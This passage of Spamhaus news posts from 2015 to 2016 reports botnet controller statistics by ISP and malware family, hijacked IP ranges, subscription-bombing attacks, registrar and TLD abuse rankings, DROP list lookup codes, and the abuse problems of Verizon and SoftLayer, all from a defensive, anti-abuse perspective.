list of ISPs ranked by number of C&Cs detected on that ISP's network during the past year, and also includes 2015 data to observe trends. These data include botnet controllers that were hosted on compromised webservers or websites, as well as those hosted through fraudulent sign-ups (BCL listings). Overall botnet hosting (compromised websites, compromised servers, fraudulent sign-ups): | Rank | C&Cs 2016 | C&Cs 2015 | Network | Country | | --- | --- | --- | --- | --- | | 1 | 395 | 385 | ovh.net | FR France (FR) | | 2 | 257 | 143 | godaddy.com | US United States (US) | | 3 | 167 | 183 | endurance.com | US United States (US) | | 4 | 144 | 197 | hetzner.de | DE Germany (DE) | | 5 | 128 | 170 | ispserver.com | RU Russia (RU) | | 6 | 118 | 106 | colocrossing.com | US United States (US) | | 7 | 98 | 172 | cloudflare.com | US United States (US) | | 8 | 89 | 50 | quadranet.com | US United States (US) | | 9 | 83 | 73 | digitalocean.com | US United States (US) | | 10 | 75 | 121 | worldstream.nl | NL Netherlands (NL) | | 11 | 71 | 26 | blazingfast.io | UA Ukraine (UA) | | 12 | 71 | 89 | choopa.com | US United States (US) | | 13 | 69 | 3 | chinanet-js | CN China (CN) | | 14 | 69 | 108 | softlayer.com | US United States (US) | | 15 | 68 | 126 | heg.com | GB Great Britain (GB) | | 16 | 68 | 103 | itl.ua | UA Ukraine (UA) | | 17 | 68 | 6 | virpus.com | US United States (US) | | 18 | 66 | 137 | leaseweb.com | NL Netherlands (NL) | | 19 | 65 | 24 | timeweb.ru | RU Russia (RU) | | 20 | 65 | 46 | uk2group.com | FR Great Britain (GB) | The table shows the total number of detected botnet controllers per ISP, not distinguishing between compromised webservers/websites or fraudulent sign-ups. This has to be considered carefully before drawing conclusions from these data. In general, large networks attract more abuse than smaller ones, simply due to the fact that they host more servers and websites that are poorly patched or not maintained at all. It can be quite difficult for an ISP or hosting provider to prevent the compromise of a customer's server or website, since these are often fully under the control of the customer. In fact, many servers and websites are running outdated software, which makes them therefore vulnerable to attacks from the internet. It is an easy task for a cybercriminal to scan the internet for servers or websites that are running outdated or vulnerable software. Some of the most popular open source CMSes like WordPress, Joomla, Typo3 or Drupal are especially popular targets, due the high number of poorly maintained installations of these packages. We have seen that some of the more proactive ISPs and hosting providers are now using newer tools and methods to track down outdated software and monitor C&C traffic. Of course, blocking traffic to known C&Cs is a good start. However, compromised servers and websites are just part of the problem. The other part of the ongoing botnet problem are the fraudulent sign-ups. "Fraudulent sign-ups" are generally when a miscreant orders a server (e.g. VPS) at a hosting provider that is intended for the exclusive purpose of hosting a botnet controller. This means that the host running at such an IP address is not compromised; it is operated by cybercriminals. To ensure they are not traceable, cybercriminals use fake or stolen identities to place orders with service providers. Services are paid for using either stolen credit cards, compromised PayPal accounts or (anonymous) crypto-currency such as Bitcoin. Providers can battle such fraudulent sign-ups by doing proper customer verification. However, it is not unusual that a fraudulent sign-up can slip through the anti-fraud checks. Our article, "How hosting providers can battle fraudulent sign-ups", contains more information on this topic. | Rank | C&Cs 2016 | C&Cs 2015 | Network | Country | | --- | --- | --- | --- | --- | | 1 | 295 | 247 | ovh.net | FR France (FR) | | 2 | 112 | 82 | colocrossing.com | US United States (US) | | 3 | 109 | 153 | ispserver.com | RU Russia (RU) | | 4 | 79 | 119 | hetzner.de | DE Germany (DE) | | 5 | 72 | 45 | quadranet.com | US United States (US) | | 6 | 69 | 24 | blazingfast.io | UA Ukraine (UA) | | 7 | 68 | 3 | chinanet-js | CN China (CN) | | 8 | 66 | 88 | itl.ua | UA Ukraine (UA) | | 9 | 65 | 5 | virpus.com | US United States (US) | | 10 | 64 | 106 | worldstream.nl | NL Netherlands (NL) | | 11 | 61 | 67 | choopa.com | US United States (US) | | 12 | 57 | 51 | hostkey.ru | RU Russia (RU) | | 13 | 56 | 51 | digitalocean.com | US United States (US) | | 14 | 55 | 110 | hostsailor.com | AE United Arab Emirates (AE) | | 15 | 53 | 66 | leaseweb.com | NL Netherlands (NL) | | 16 | 49 | 64 | heg.com | FR Great Britain (GB) | | 17 | 49 | 45 | severius.nl | NL Netherlands (NL) | | 18 | 49 | 11 | zomro.com | UA Ukraine (UA) | | 19 | 43 | 38 | selectel.ru | RU Russia (RU) | | 20 | 41 | 33 | qhoster.com | NL Netherlands (NL) | Note that this table shows the raw number of C&Cs on each provider. It says nothing about how long each botnet C&C was left active, or whether the provider heeded C&C reports from Spamhaus or not. In many cases, the volume of abuse originating from a provider is proportional to the size of the ISP or hosting provider's network and the number of customers. However, the table also contains a few smaller providers that you may never have heard of, but that have hosted disproportionately large numbers of C&Cs. These providers attract more cybercriminals than other providers. Why? There are several reasons that this may happen: Employing the automated sign-up of new customers that skips or has inadequate fraud checking in place, thus allowing cybercriminals to set up C&Cs quickly. Inadequately staffed abuse departments and/or lax abuse handling processes can allow cybercriminals to continue to operate for relatively long periods of time before their C&Cs are shut down. The provider's datacenter might be located in a legal jurisdiction, province, or country that lacks sufficient resources to investigate and prosecute cybercrime, or that even actively encourages it. Let us also have a look at what kind of malware was associated with the botnet controllers Spamhaus detected in 2016. The table below shows the number of all botnet listings per malware family in 2016. | Rank | C&Cs | Malware | Notes | | --- | --- | --- | --- | | 1 | 602 | Downloader.Pony | Dropper / Credential Stealer | | 2 | 404 | Locky | Ransomware | | 3 | 393 | IoT | Generic IoT malware | | 4 | 305 | CryptoWall | Ransomware | | 5 | 282 | VMZeuS | e-banking Trojan | | 6 | 271 | Gozi | e-banking Trojan | | 7 | 263 | Dridex | e-banking Trojan | | 8 | 253 | TeslaCrypt | Ransomware | | 9 | 229 | Neurevt | Backdoor | | 10 | 213 | ISRStealer | Backdoor | | 11 | 210 | Nitol | DDoS bot | | 12 | 203 | Citadel | e-banking Trojan | | 13 | 201 | Vawtrak | e-banking Trojan | | 14 | 200 | TorrentLocker | Ransomware | | 15 | 193 | LuminosityLink | Remote Access Tool (RAT) | | 16 | 178 | ZeuS | e-banking Trojan | | 17 | 157 | Gootkit | e-banking Trojan | | 18 | 124 | Smoke Loader | Dropper / Credential Stealer | | 19 | 120 | Glupteba | Spam bot | | 20 | 103 | Neutrino | DDoS bot / Credential Stealer | | n/a | 2,411 | other | Other malware families | | n/a | 552 | generic | C&Cs where the associated malware could not be identified | It is fair to say that 2016 was the year of extortion. While many of the listings where related to ebanking Trojans, a new threat grew very quickly in 2016: Ransomware. The number of listings concerning Ransomware (such as TorrentLocker, Locky or Cerber) increased on an unprecedented scale in 2016. In the autumn of 2016 Spamhaus also began listing botnet controllers associated with malware specifically targeting the "Internet of Things". Within just two months Spamhaus researchers identified, blocklisted and helped dismantle almost 400 IoT malware botnet controllers. We will soon publish a separate article detailing the specific challenges of IoT bots. Related information M3AAWG Anti-Abuse Best Common Practices for Hosting and Cloud Service Providers* No slowdown in Cerber ransomware activity as 2016 draws to a close How hosting providers can battle fraudulent sign-up Spamhaus Botnet Controller List (BCL)") Spamhaus BGP feed (BGPf)") Spamhaus Don't Route Or Peer List (DROP)")

Network Hijacking on the Rise

The Spamhaus Team — Mon, 26 Sep 2016 15:53:00 GMT

As we discussed in a previous article, allocations of IP addresses (IPv4 addresses) are getting hard to come by, especially for spammers. Because the IP addresses they use quickly get a bad reputation as sources of spam, spammers constantly need fresh IPs that are not yet "burned". To get around this problem, spammers increasingly now turn to a cheap and plentiful source of IP addresses by hijacking existing IP address ranges from under the noses of the legitimate owners and ARIN. How is the hijacking accomplished? Let's take a look at one example. Favourite targets for the hijackers are Legacy IP address ranges. Since these IP address ranges were originally issued prior to ARIN's inception in 1997, they can not be revoked for lack of paying yearly fees, and it's possible for them to lie dormant, sometimes forgotten by the legitimate owners. In 2012, Spamhaus became aware of spam being sent from one of these legacy IP address ranges, 147.50.0.0/16, owned by Chemstress Consultant Company. Looking at the routing history for 147.50.0.0/16: We can see that this range has not been used for a while, and has a history of short lived announcements. This isn't looking good for the announcements being legitimate. So we can then take a look at the WHOIS history from ARIN and GoDaddy and trace the hijacker's exact steps: 1991-07-01** - ARIN record for Chemstress Consultant Company created (definitely a legacy range in 1991) 2011-08-19** - The domain CHEMSTRESSCONSULTING.COM is registered to "Timothy Tausch", the name found from the original ARIN records from 20 years ago (note: the real company's domain is CHEMSTRESS.COM) 2011-12-12** - ARIN is tricked into updating Timothy Tausch's contact information to the email address ttausch@chemstressconsulting.com 2011-12-16** - 147.50.0.0/16 starts to be announced on behalf of the hijacker 2012-06-10** - The company's address in ARIN is updated to "3465 S. Arlington Rd." (a PO Box store in Akron, Ohio) Adding up all the evidence, this strongly pointed to this being hijacked. So we contacted the Internet Service Provider (ISP) making the announcement for this range. They informed us that they had already shut things down due to non-payment. It turns out the credit card given by "Tim's" partner in California was no good. The ISP provided us with some emails from the "owner" of this range:

Subscription Bombing: COI, CAPTCHA, and the Next Generation of Mail Bombs

The Spamhaus Team — Fri, 16 Sep 2016 20:31:07 GMT

Internet harassment is becoming an increasingly ugly and widespread issue, and over the weekend of August 13-14 it spilled into territory we could do something about. After a few weeks of low level activity, over that weekend some unknown cyber criminals launched a targeted attack on over 100 government email addresses, using bots to create mailing list subscription requests at the rate of over 1000 per minute. Effectively, this was a denial of service attack, rendering the government mailboxes useless for considerable time. Over the next couple of months the targets expanded from government addresses to others, some of which were targeted and timed to be especially disruptive. Examples of Recent Subscription Bombs 22K signups at a single ESP, targeting 3000 different domains, resulting in a volume of sometimes over 100 messages a minute to some addresses. One company saw nine specific addresses signed up over 9,000 times over the course of two weeks, creating 81,000 confirmation emails. Brian Krebs was targeted as well, receiving a new subscription confirmation message every two or three seconds. Word to the Wise was also attacked, after publishing several articles about the subject (links below). Ultimately, on August 19, Spamhaus itself was hit with a fairly small attack. Spamhaus Response The first attack we detected was on August 12. Over that weekend, we began to create listings of the IP addresses from the largest sources of list bomb mail in an attempt to mitigate the damage. This is not something we did happily, but it was necessary. Bots were - and are - being used to sign up innocent email addresses through open or poorly secured web sign-up forms in high volumes. Some subscriptions were added at ESP interfaces, many more were introduced at diverse list-owner locations around the web. These signups were made possible by the fact that many web forms use Single Opt-In (SOI) and accept all subscriptions without any verification, though in this case even using Confirmed Opt-In (COI) didn't help much because the volume of confirmation emails alone was enough to cause a substantial problem. In fact, many of the lists that were victimised had already been using COI. It is interesting and concerning that the attacks were not all composed of list subscription responses; half consisted of account sign ups at WordPress sites, so the emails were also seemingly legitimate, as they contained the new account credentials. This means the onus of stopping this kind of attack is not only on ESPs or mailing list owners. It is on everyone that has any sort of web-based signup that results in an email being sent: somebody clearly spent a great deal of time assembling URLs of mailing lists, and of account sign up pages, and has written a script to submit addresses to them at speed. We suspect that this was a test run for a tool that will will soon be offered for sale in the 'Underground Economy': Mail-bombing as a Service - MaaS. ESP Response Efforts are ongoing to help ESPs clean up, and there has been a significant community effort among the ESPs that we feel is eminently praiseworthy. Lists of email addresses used for sign-ups were compiled and shared, as were lists of IP addresses known to be doing the deed. A Slack channel was created by Word to the Wise to facilitate communication between the interested parties. The cleanup has been quick and efficient in most cases, and we are confident that these ESP's will be proactively pushing their customers to secure their various online sign up forms. ESPs are aware that these attacks are on-going, and that measures to secure sign-up forms must continue to be implemented. How Does One Protect Against This? The single best thing that can be done to secure a form and avoid becoming an attack vector is to put a CAPTCHA on it. (Google's ReCAPTCHA is a free service and will foil most bots.) Even using COI in this situation is not sufficient, as the sheer volume of confirmation emails can be completely overwhelming. Use CAPTCHA plus COI to protect your mailing list subscription form! Internet harassment is not going away. In fact, it is becoming a bigger and bigger problem; the fact that this first wave has died down should not be a reason to become complacent. This situation should be viewed as a call to arms by all senders, ESPs, and any businesses that utilise online sign up methods. They need to neutralise the attack vectors, educate their customers, tighten their policies and ensure they cannot be used as a conduit for personal or corporate harassment or DDoS attacks meant to disrupt online activities. Additional Reading Word to the Wise: Subscription bombing, ESPs and Spamhaus

More Domain Stats: The 10 Most Abused Registrars

The Spamhaus Team — Tue, 17 May 2016 16:35:24 GMT

Filling in The Spamhaus Project's domain panorama in our "Top-10 Worst" pages, we have added a page for The 10 Most Abused Domain Registrars. It breaks out by registrar the ratio of bad domains versus total domains as seen by our systems in the course of a rolling two-week window. While other registrars have numerically more bad domains, that is a result of the sheer size of their domain corpus, and they have a lower ratio of bad to good domains. Those larger registrars take effective measures to prohibit spammers and remove bad domains from their services, and thus polish their own reputations. It is important to consider that these data represent domains seen by Spamhaus systems, and not a registrar's total domain corpus. Domains in this data are in active use, showing up in mail and spam feeds, and related DNS traffic. Other domains may be parked or used for traffic outside of our systems' focus, and those domains are not included in this summary. People in the security community might wonder why they don't see some registrars on this list which are all too familiar to them. Most likely that is because those registrars have significant numbers of legitimate domains and that makes the bad/good ratio lower. Those registrars may also have learned from their past reputation problems and now make an effort to reduce the number of bad domains using their registration service. Registrars presently on this list can learn from that and apply policies to reduce the fraction of bad domains in their corpus. Our FAQ has asked, "Can registrars suspend domains for spam and abuse?" for about ten years. The answer, of course, is "yes, they can," and all registrars should include an Acceptable Use Policy (AUP) as part of every domain sales agreement. An AUP provides contractual authority for the registrar to rescind or suspend domains for abuse, or even ban entire accounts. Appropriate "Role Accounts" and "Feedback Loops", as well as a network of contacts in the security community, will help a registrar identify problems in a timely way. By stopping abuse of their service, a registrar enhances its reputation among good clients as it shuns bad ones. At the time these "Top 10" registrar stats first appeared in May 2016, they ranged from 84.3% bad domains (Domainers Choice) to 34.1% bad (NetOwl). Spamhaus would very much like to see both the fraction of bad domains and total number of bad domains drop across all registrars, and towards that end we might still have some more data to show you in a little bit more time.

SBL/ZEN DNS lookups to return DROP/eDROP status

The Spamhaus Team — Tue, 05 Apr 2016 21:00:00 GMT

Anvil For many years Spamhaus has maintained two text lists named DROP (Don't Route Or Peer) and EDROP (Extended Don't Route Or Peer). These lists contain netblocks that are "hijacked" or leased by professional spam or cybercrime operations, and were originally designed to be used by network edge devices such as routers or firewalls to block all traffic. They are provided at no cost to the community on the Spamhaus website. All networks in DROP and EDROP are also listed in the Spamhaus blocklist (SBL); DNS lookups for those IPs have always returned 127.0.0.2 (listed) status. However, it has not been possible to determine whether a listed IP was also listed in DROP/EDROP from the DNS lookup result. To allow spam filters and other anti-spam software to support more aggressive spam scores for networks listed on DROP or eDROP, and to support access rules for other protocols such as HTTP, starting on 1st June 2016, the sbl.spamhaus.org, sbl-xbl.spamhaus.org and zen.spamhaus.org zones will return the new code 127.0.0.9 in addition to the standard return code 127.0.0.2 for IP addresses that are listed in DROP or eDROP. Those who program or maintain spam filters or other anti-spam software can test any new rules immediately by looking up the test address 127.0.0.9, or its IPv6 sibling ::ffff:7f00:9. Spamhaus reminds its users that, since February 2016, the public version of the SBL has also contained IPv6 data and answered IPv6 lookups. Spamhaus plans to add IPv6 data to the XBL and PBL in the future. However, the majority of spam coming from IPv6 IPs at this time is snowshoe spam, which falls in the SBL territory. Spammers have been purchasing and using large IPv6 blocks in an attempt to more easily bypass spam filtering and deliver email to inboxes on IPv6-connected email facilities.

Spamhaus Presents: The World's Worst Top Level Domains

The Spamhaus Team — Thu, 25 Feb 2016 03:56:29 GMT

The Spamhaus Project has added a new list to its Top-10 Worst pages, this time for Top Level Domains (TLDs). This domain data is designed to complement the recent additions to our IP address data announced in a previous news blog. One must note that this list does not provide the worst TLDs in absolute quantity, other TLDs may have far more abusive domains, but they also have vastly more non-abusive domains. Instead, the list shows the ratio of all domains seen by the systems at Spamhaus versus the domains our systems profile as spamming or being used for botnet or malware abuse. In the last 18-years, Spamhaus has built its data gathering systems to have a view of most of the world's domain traffic. We feel the numbers shown on this list are representative of the actual full totals. Spam and other types of abuse continue to plague the internet because bad actors find it very cheap and very easy to obtain thousands of domain names from the Top Level Domain registries and their resellers, the registrars. A few registrars knowingly sell high volumes of domains to professional spammers for profit, or do not do enough to stop or limit spammers' access to this endless supply of domains. These registrars end up basing their entire business model on network abuse. Unsurprisingly, most of the TLDs listed on this page are the "new gTLDs" recently introduced by ICANN; this is largely the result of a combination of factors: no body of legacy good reputation from old customers with legitimate domains long since registered anti-abuse mechanisms freshly deployed and still not up to the task promotional sales offering domains for very cheap prices, or even free, attracting bulk registrations of throw-away resources In fact, we have observed it is usually quite easy to see which registrar/TLD combination is being promoted and sold cheapest that day by just looking at the bulk registrations created by known bad actors. Abuse of this type also ends up damaging the reputation of any legitimate users who have purchased domains on some of the affected TLDs, as the trust in resources hosted on these new TLDs ends up decreasing over time. Nearly all TLD registries (including the Country-Code TLDs - "ccTLDs") claim to be against abuse of the resources they provide. However, some seem to only consider the revenue made by selling as many domains as possible as factors in their corporate policy decisions. The abuse of these domains matters not to their calculations. Some TLD registries also claim it is not up to them, but to their resellers (the registrars) to deal with any misuse, but if these registrars also do nothing nor are forced to do anything, the problems remain. A good number of the TLDs succeed in keeping spammers off their domains and work to maintain a positive reputation; this shows that, if they wished to, any TLD registry can 'keep clean'. For the purpose of seeing "who is doing well" in this regard, we plan to provide a view of the abuse trends we observe over time, integrating the snapshot provided by the statistics currently published with an historical view that should be able to show which TLDs are getting better at managing their resource space. We will also soon be publishing a Top-10 Worst registrar list, so keep an eye out for those. Our hope is that this data can help the "Good" Powers That Be (starting with ICANN and its stakeholders) to better focus their attention on network abuse issues, aiming for a better tomorrow for our Internet. Further reading (2018): ««»»

Verizon Routing Millions of IP Addresses for Cybercrime Gangs

The Spamhaus Team — Mon, 01 Feb 2016 19:25:00 GMT

Over the past few years, spammers have sought out large ranges of IP addresses. By spreading out their sending patterns across a wide range of IP addresses, they can attempt to defeat spam filters and get spam and malware emails delivered where they are not wanted. However, IPv4 addresses are getting scarce and hard to come by. In fact, as of September 2015, the Internet Registry ARIN (American Registry for Internet Numbers) allocated the final block of IPv4 addresses from its free pool. Because spammers can't easily obtain new IP addresses through legitimate means, they frequently resort to stealing IP address blocks that are dormant and aren't being utilized by the rightful owners. There is a thriving black market in IP addresses; spammers don't care whether the source of their IP addresses is legitimate or even legal. A cybercriminal that can steal a large IP address block (for example, a /16 or 65,536 IP addresses) can generate thousands of dollars per month. For cybercriminals to make use of their stolen blocks however, a crucial step is to find an Internet Service Provider(ISP) or network with the ability to route these IP addresses to the rest of the Internet by using an autonomous system number) (ASN). Also crucial is finding an ISP who won't look too closely at the highly suspicious routing request. To get the routes to their stolen IP addresses announced, criminals will present forged authorization documents (which constitutes felony wire fraud under U.S. law). In addition, spamming from these stolen IP addresses is a felony under the US CAN-SPAM Act. Researchers at The Spamhaus Project have identified over 4 MILLION IP addresses currently in the hands of American cybercriminals that are routed by US network operator Verizon Communications, which is currently by far the largest single source of snowshoe spam in operation today. We also will mention that at the time of this article, Verizon has more than 80 SBL listings and ranks sixth in our "The World's Worst Spam Support ISPs" list. Being on this list is not new to Verizon, but it has been some years since their concern for security/abuse issues has been this poor. Some of the IP address ranges routed via Verizon and used for spamming are listed below: 14.4.0.0/15 PUBNETPLUS (Korea) 14.6.0.0/15 PUBNETPLUS (Korea) 42.128.0.0/12 North Star Information Hi.tech Ltd. Co. (China) 42.160.0.0/13 North Star Information Hi.tech Ltd. Co. (China) 42.168.0.0/13 North Star Information Hi.tech Ltd. Co. (China) 43.250.64.0/22 Infolink Communications (China) 103.41.180.0/22 Infolink Communications (Hong Kong) 116.129.0.0/16 New Guoxin Telecom Corporation (China) 116.132.0.0/15 New Guoxin Telecom Corporation (China) 116.136.0.0/15 New Guoxin Telecom Corporation (China) 116.138.0.0/15 New Guoxin Telecom Corporation (China) 116.140.0.0/15 New Guoxin Telecom Corporation (China) 116.142.0.0/15 New Guoxin Telecom Corporation (China) 116.148.0.0/15 New Guoxin Telecom Corporation (China) 116.150.0.0/16 New Guoxin Telecom Corporation (China) 116.152.0.0/15 New Guoxin Telecom Corporation (China) 116.156.0.0/14 New Guoxin Telecom Corporation (China) 116.160.0.0/14 New Guoxin Telecom Corporation (China) 116.164.0.0/14 New Guoxin Telecom Corporation (China) 116.168.0.0/15 New Guoxin Telecom Corporation (China) 116.179.0.0/16 New Guoxin Telecom Corporation (China) 116.184.0.0/13 New Guoxin Telecom Corporation (China) 120.46.0.0/15 CITIC Networks Management Co.,Ltd. (China) 120.48.0.0/15 CITIC Networks Management Co.,Ltd. (China) 155.40.0.0/16 Information Access Center (United States) Most of the IP address ranges listed above are owned primarily by Chinese and Korean ISPs. Until 2013, there was no history of them being used at all for at least a decade. After being terminated from a few Asian hosts for spamming, these routes have found a safe home, being announced by AS7046 (actually registered to UUnet Technologies, a company that was acquired by Verizon in 2006). New Guoxin Telecom routing history, source: https://stat.ripe.net/ New Guoxin Telecom routing history, terminated from several Asian ISPs before Verizon announcements. Source: https://stat.ripe.net/ At least one of the networks affected still exists: Pubnet Plus started out in the 1990s as a project to increase connectivity of public institutions in Korea. The Pubnet Plus assets are now owned by South Korean cellular carrier LG Uplus, however there was no reaction to the notification sent to them by Spamhaus. In addition, if any of the other ISPs involved were still in existence and wanted to announce their IP address ranges, they would most likely utilize their own AS Network instead of paying an American company like Verizon. For example, "New Guoxin Telecom Corporation" is assigned its own ASN (AS38348). Spamhaus does not know for sure whether most of these Chinese and Korean ISPs are still in business and knowingly leasing their IP addresses to spam operations, but this seems unlikely. At least one of the IP address ranges, 155.40.0.0/16, belonged to a US based company named "Information Access Center", which was eventually acquired by the Thompson-Reuters Corporation (TRI). It seems very unlikely that Thompson-Reuters, a highly reputable news and information powerhouse, would be willing to lease their IP addresses to spammers. Spamhaus is therefore quite confident that this range was simply hijacked. If Verizon was deceived into announcing this hijacked range, we believe that the other Chinese and Korean ranges could very well have been hijacked as well (Verizon finally stopped announcing the 155.40.0.0/16 range on November 24th, 2015). For a start, it seems very strange that a large US-based ISP can be so easily convinced by abusers to route huge IP address blocks assigned to entities in the Asian-Pacific area. Such blocks are not something that can go unnoticed in the noise of everyday activity. They are very anomalous, and should call for an immediate accurate verification of the customer. Internal vetting processes at large ISPs should easily catch situations so far from normality. Furthermore, since July 2015, Spamhaus has repeatedly informed Verizon about this problem, approaching every single contact known to us. In addition to contacts within Verizon Abuse and Security, we have also approached people in Verizon management. Various Verizon staff have promised to look into the situation, but the announcements continue and the spam and cybercrime keeps flowing. Flowing yes, but not being seen by billions of mailboxes using Spamhaus' anti-spam data. But as not every place on earth uses our anti-spam & security data, it is still profitable for spammers to hijack IP address space to try reach the end users of these places. Verizon would get few if any complaints about spam and abuse from these IP address blocks, because the Whois contacts for these ranges don't belong to Verizon, but to the Chinese and Korean companies that still officially "own" the IP addresses. These companies are apparently either defunct, or are controlled by the the spammers or their conspirators. This would result in spam and abuse complaints sent to these companies simply being ignored. It would take a highly knowledgeable spam victim to realize that complaints should go to Verizon rather than the IP address Whois contacts. Verizon is presently failing to properly vet IP address ranges for which it provides transit. While Verizon has an anti-spam policy and has participated in working groups such as M3AAWG, its present defacto policy of routing illicitly obtained IP address space for spammers means that it is directly responsible for facilitating massive sources of spam and cybercrime affecting millions of Internet users and networks. In addition to that spam and abuse, such behavior erodes trust and confidence in global IP address allocations and routings. Spamhaus strongly encourages Verizon to clean its routing tables without delay of such illicitly obtained IP address ranges. Update 2016-02-01 As of 2016-Jan-23, the problem described in this article seems to have been resolved. Verizon has dropped the announcements of the suspect IP address ranges. Unfortunately, Verizon's ranking as one of the Top-10 worst spam-support ISPs has still not changed. «»

Brazilian internet users suffer SoftLayer's security fail

The Spamhaus Team — Thu, 01 Oct 2015 08:35:04 GMT

In the summer of 2015, the number of SBL listings involving SoftLayer Technologies (an IBM company) increased rapidly, bringing Softlayer to the #1 spot on the Spamhaus Top 10 list of most problematic ISPs. This attracted a great deal of attention, because Softlayer has traditionally been a responsible ISP, and has made a number of contributions to the security and anti-spam industries. As one would expect, this situation prompted questions. What was happening? Had Softlayer, after years of being a responsible, whitehat ISP, suddenly turned rogue? The answer to the second question, no, they hadn't. Unfortunately, what happened to Softlayer can easily happen to any ISP that makes certain unwise choices. We wrote this article to explain how an ISP with Softlayer's technical resources and excellent track record came to have such severe problems with a specific spam and malware operation, and to warn other ISPs so that they don't fall victim to this, or another, spam gang using the same tactics. What happened? In the last few months, a massive number of IP addresses on SoftLayer’s network sent spam that tricked recipients into downloading and installing malware. While the spam itself explicitly targeted Brazilian users, it was sent to large numbers of harvested email addresses belonging to users around the world. When Spamhaus researchers looked at the sources of these spams, the IP address ranges always seemed to be assigned to fake but plausible Brazilian companies or organizations whose names changed every day, sometimes several times a day. The SBL team started to create listings for these IP address ranges, and SoftLayer responded to them as always. However, this Brazilian malware gang was so active that many SBL-listed IP address ranges were being reassigned to the same spam gang immediately after re-entering the pool of available IP addresses. After observing the same IP address ranges being reassigned repeatedly to the same spammers, Spamhaus contacted the SoftLayer abuse department and told them that SBLs for these specific issues would not be removed until SoftLayer was able to get control of the overall problem with these spammers. Because the Brazilian malware operation that caused this situation is so large, the SBL count for Softlayer IP address ranges rapidly reached rarely previously seen numbers (>600). What allowed the issue to get this big? Spamhaus can only guess the answer to this question. We believe that SoftLayer, perhaps in an attempt to extend their business in the rapidly-growing Brazilian market, deliberately relaxed their customer vetting procedures. Cybercriminals from Brazil took advantage of SoftLayer's extensive resources and lax vetting procedures. In particular, the malware operation exploited loopholes in Softlayer's automated provisioning procedures to obtain an impressive number of IP address ranges, which they then used to send spam and host malware sites. IBM acquired SoftLayer in June 2013, obviously leading to ongoing organizational changes. These changes might continue to affect SoftLayer's abuse and security operations. Is this solved now? Not really. Softlayer has slowly reduced the extent of its problem with this malware operation, but the problem is still far from solved. SoftLayer has taken months to change its procedures and bring this issue under control. With big companies, that is not exactly unexpected, but Spamhaus is certainly not satisfied with the glacial pace to a solution. This situation also damages the reputation of Softlayer (and its parent company IBM) who have for years been trying to craft a public image as to what a good, safe and security conscious corporation they supposedly are. This summer, Brazilians infected with malware and other spammed internet users would beg to differ. Update: November 2015 At the end of October, Softlayer contacted Spamhaus to notify us of the measures that they were rolling out in to keep these and other abusers off of their network and Cloud. The measures that Softlayer took have proved extremely effective, to the point that after just few days the malware operations were gone from Softlayer's network, with the perpetrators moving to other hosting providers. After one month, Softlayer's SBL listings have dropped to levels that were normal before the Brazilian malware gangs attacked their platform. Spamhaus congratulates Softlayer for their effective solution to this problem. We ask that other hosting providers that find their services being abused by the same types of criminals strengthen their policies & methods in similar ways.

Network under attack? You might be surprised where that's coming from!

The Spamhaus Team — Mon, 21 Sep 2015 11:53:49 GMT

About a month ago the Spamhaus Project added several new lists to its Top-10 Worst pages. These are in addition to our existing Top-10 lists: Worst spammers, spammer hosting nations and spammer hosting Internet Service Providers (ISPs). Every second of every hour of every day Spamhaus collects a vast quantity of real-time threat intelligence from around the globe. We analyze and use this data to produce the data sets that protect billions of users from spam and other attack threats. To better show where the largest numbers of botnet-related threats of all types are located, we have added the following three lists: ![A botnet world](/news/images/binary-715813_640.jpg "A botnet world: Vietnam Number of Bots: 1158281 India Number of Bots: 1151918 China Number of Bots: 1099920 Russia Number of Bots: 582198 Brazil Number of Bots: 473872 Indonesia Number of Bots: 347365 Iran Number of Bots: 280193 United States Number of Bots: 267733 Pakistan Number of Bots: 248122 Italy Number of Bots: 247865") The World's Worst Botnet Countries*. Countries in this list have the highest number of detected spam-bots as listed in the *Spamhaus XBL zone. Most bots are used for spam, phishing, click-fraud, DDoS and other malicious activities. The World's Worst Botnet ISPs*. Internet Service Providers in this list have the highest number of detected spam-bots as listed in the *Spamhaus XBL zone. The World's Worst Botnet ASNs*. Autonomous System Numbers (ASNs) in this chart have the highest number of detected spam-bots as listed in the *Spamhaus XBL. The size of the problem Many issues may contribute to to a country's bot density, including technical, policy and socioeconomic factors. Currently, fifty percent of the countries with the worst botnet infestations are in Asia, where good anti-virus software is less available and ISP best practices such as outbound port-25 management (.pdf) or filtering has not yet been widely implemented. Vietnam, India and China lead the way each with over 1,000,000 systems detected running spam-bots. The sheer numbers of botnet-infected personal computers in these countries is staggering. What can be more staggering is when one computes the per-capita infection rates. Vietnam, with a fraction of the population of the other two nations, ranks with them in total bots! It always surprises and somewhat saddened us to still see western nations in the worst list. This time we see the USA in at #8 and Italy at #10 with around a quarter of a million IP addresses identified. Ever growing numbers in Russia In fourth place is a nation that straddles Asia and Europe: Russia. With almost 600,000 compromised computers running malware, it holds a unique position in botnet issues. Five to ten years ago, when big botnets first appeared, the predominantly Russian based cybercriminals that operated them attacked other countries but left their own nation's citizens alone. This changed some time ago; now managing botnets is all about the money to be made from cybercrime. The criminals who run botnets in Russia have seen that, as in other nations, there is nearly no enforcement of laws against cybercrime, so they attack everybody without regard for where they live. Some Russian citizens (who presumably were not well informed about botnets) even hailed Russian ''GameOver Zeus'' botmaster Evgeniy Mikhailovich Bogachev (for whom the US FBI has offered a $3-million reward-for-capture) as a sort of a hero for "liberating" money from Europeans and N. Americans. He was no hero. Our data showed that the ''GameOver Zeus'' malware had infected tens of thousands of Russian citizens' computers, whose hard-earned money was stolen by these same cybercriminals. Service providers & networks The majority of ISPs with the worst botnet problems are also in Asia. The reasons why are much the same as outlined above. These companies allow a large number of malware-infected computers belonging to their users to remain infected, remain connected to their network, and attack other networks and computers. As this article is being written, one Vietnamese ISP has over a million infected computers. We hope that these ISPs, seeing their names on this list, might make changes in their policies and practices so that they do not continue to contribute materially to the crimes committed by botnet owners. The third list covers Autonomous System Numbers, another way of viewing this issue. An ASN "ASNs are, at least theoretically, operated with a single clearly-defined policy on how its network connects to the rest of the Internet. This list is a more technical way of describing trouble areas of the internet, intended to help system administrators determine how to treat traffic originating from networks that contain large numbers of bot-infected computers.") is a collection of IP address ranges that are under the control of a single administrative entity or network (usually a large company, ISP, or government). Conclusion The arrival of the Internet brought new freedoms to people all over the world. Civilized society has rules which prohibit people and companies from releasing toxic waste into the environment, where it harms other people and damages a common resource that belongs to us all. Society also needs rules which prohibit people and companies from operating malware-infected computers on the Internet, for the same reasons. The Internet is a common resource. Individual people and companies do not have the right to damage a resource that is held in common and can be used by all. Although Spamhaus can provide the data to help protect your network from this damage, until the companies that provide Internet access and the end users themselves start "stepping-up" and taking responsibility for their online actions, the 